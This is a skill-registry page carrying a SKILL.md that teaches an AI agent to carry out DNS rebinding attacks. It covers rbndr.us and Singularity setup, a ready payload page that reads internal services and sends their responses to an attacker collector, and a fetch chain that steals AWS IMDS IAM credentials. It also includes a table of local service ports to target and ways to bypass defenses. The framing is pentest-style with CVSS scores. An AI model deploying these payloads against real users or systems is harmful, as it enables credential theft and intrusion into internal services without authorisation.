CtrlK
BlogDocsLog inGet started
Tessl Logo

dns-rebinding

DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.

71

Quality

88%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

DNS Rebinding

DNS rebinding lets an attacker-controlled page make the victim's browser treat attacker.com as if it were 127.0.0.1 (or any internal IP). The browser's same-origin policy checks the hostname, not the IP — so after rebinding, the page's JS can read responses from the internal service as if they were same-origin.

When This Applies

ScenarioViable?
SSRF blocked, but victim browser is reachableYes — browser does the internal fetch
Localhost service (Electron app, dev server, K8s dashboard)Yes — browser calls 127.0.0.1:
Cloud IMDS (169.254.169.254) reachable from instance's browserYes — rare but critical
Server-side SSRF filter allows attacker.comYes — rebind to internal IP
Target has DNS-rebinding protection (Host header check)Partial — see bypass §7

2. Attack Mechanics

Phase 1 — Victim resolves attacker.com → public IP

Victim visits http://attacker.com/payload.html. Browser resolves the DNS name → gets the attacker's real public IP → same-origin allows the page's JS to load and execute.

Phase 2 — TTL expires, DNS flips to 127.0.0.1

The attacker's DNS server returns a very short TTL (0–1 s). After TTL expiry, a second DNS query returns 127.0.0.1 (or target internal IP).

Phase 3 — JS makes same-origin request

The page's JS calls fetch("http://attacker.com/api/v1/secret"). The browser re-resolves attacker.com → gets 127.0.0.1 → sends the request to the local service on the attacker's behalf, receives the response, and exfiltrates it.

[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
                                         ... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attacker

3. Tooling

rbndr.us (fastest, no setup)

Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs:

<hex-public-ip>.<hex-target-ip>.rbndr.us

Example — rebind attacker.com from 1.2.3.4 to 127.0.0.1:

PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))")
TARGET_HEX="7f000001"   # 127.0.0.1
REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us"
echo "Rebind hostname: $REBIND_HOST"
# → e.g. 01020304.7f000001.rbndr.us

The rbndr.us server alternates between the two IPs on each DNS request. Set up your payload page at http://$REBIND_HOST:8080/.

Singularity (full-featured, self-hosted)

git clone https://github.com/nccgroup/singularity /workspace/singularity
cd /workspace/singularity/html

# Configure the manager
# Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin)
# or "fs" (first satisfied)

docker run -it --rm \
  -p 53:53/udp -p 8080:8080 \
  nccgroup/singularity

# Access the manager at http://<VPS>:8080/manager.html
# Set "Attack host" = attacker's public IP
# Set "Target host" = 127.0.0.1 (or internal IP)
# Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s)
# Generate the attack URL; deliver to victim

4. Payload Page

Minimal JS to fetch once rebinding succeeds:

<!DOCTYPE html>
<html>
<body>
<script>
const host = location.hostname;   // e.g. xxxx.7f000001.rbndr.us
const target = "http://" + host + ":<TARGET_PORT>/";
const exfil  = "https://<ATTACKER_COLLECTOR>/";

function tryFetch(attempt) {
    fetch(target, {cache: "no-store"})
        .then(r => r.text())
        .then(body => {
            // Got internal service response — exfiltrate
            fetch(exfil + "?d=" + btoa(body).slice(0,1000));
        })
        .catch(err => {
            // DNS hasn't flipped yet, retry
            if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000);
        });
}

setTimeout(() => tryFetch(0), 500);  // give first TTL a moment to expire
</script>
</body>
</html>

For IMDS specifically, AWS v1 and GCP do not require special headers from the browser perspective — the only protection is Host header validation (see §7). Azure IMDS requires Metadata: true header — inject via:

fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"})

5. Cloud IMDS Pivot

Once the rebinding hits 169.254.169.254:

// AWS IMDSv1 — enumerate IAM role
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache:"no-store"})
  .then(r => r.text())
  .then(role => {
    fetch("http://attacker.com/latest/meta-data/iam/security-credentials/" + role.trim(), {cache:"no-store"})
      .then(r => r.text())
      .then(creds => fetch(exfil + "?c=" + btoa(creds)));
  });

Extraction yields AccessKeyId, SecretAccessKey, Token — full AWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical).

6. Electron / Desktop App Attack

Many Electron apps serve a local HTTP or WebSocket server on 127.0.0.1:<PORT> without authentication, relying on same-origin for isolation. DNS rebinding bypasses that entirely:

  1. Enumerate the app's local port (scan or read its config file if accessible)
  2. Rebind to 127.0.0.1:<port> using rbndr.us
  3. Read API responses, extract tokens/auth cookies, pivot to backend

Target ports by app:

AppDefault port
VS Code remote9229
Docker Desktop API2375
Kubernetes API6443 / 8001
etcd2379
Jupyter Notebook8888
Kibana5601
Redis6379

7. Defenses and Bypasses

DefenseBypass
Host header check (if Host != expected)Try X-Forwarded-Host, X-Host, empty Host
DNS pinning (browser caches first IP)Wait for pin to expire (Chrome: 60s); switch to fresh tab
Private network access (PNA) headersOlder browsers lack PNA support; Safari doesn't implement it
IMDSv2 (token-required)Browser can't set X-aws-ec2-metadata-token-ttl-seconds — v2 often blocks
CORS Access-Control-Allow-OriginCORS is about responses — rebinding bypasses by making origin == target

Browser DNS cache TTLs:

  • Chrome: ignores TTL if < 1s (pins for ~1min); use rbndr TTL of 1s
  • Firefox: respects TTL=0 more reliably
  • Safari: similar to Firefox

8. PoC Evidence Checklist

To file a valid finding:

  • Demonstrate victim browser receives response from internal target
  • Show the exfiltrated data (e.g. base64-decoded IMDS response)
  • Record DNS TTL used and browser version
  • Show that without the rebind (direct access) the same request fails

9. CVSS

VariantCVSS vectorScore
DNS rebind → unauthenticated localhost service (DoS)AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H5.3
DNS rebind → internal API data leakAV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N7.4
DNS rebind → IMDSv1 IAM credentialsAV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H9.0
DNS rebind → Docker socket → RCEAV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H9.0

AC:H reflects the requirement for victim interaction (keeping the tab open during the TTL expiry window).

10. Chain Promotion

DNS rebinding is usually a delivery primitive — chain it:

  • enables edge to IMDS credential node (if IMDS pivot succeeded)
  • enables edge to internal service vuln (if internal service is exploitable)
  • requires edge from "victim interaction" precondition node
kg_add_node("vulnerability", "DNS rebinding → IMDS credential pivot",
  props={"attack_host": "<REBIND_HOST>", "target_ip": "169.254.169.254",
         "browser": "Chrome 124", "imds_role": "<ROLE_NAME>",
         "exfil_method": "fetch to attacker callback",
         "key": "dns-rebinding:imds-pivot"})
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.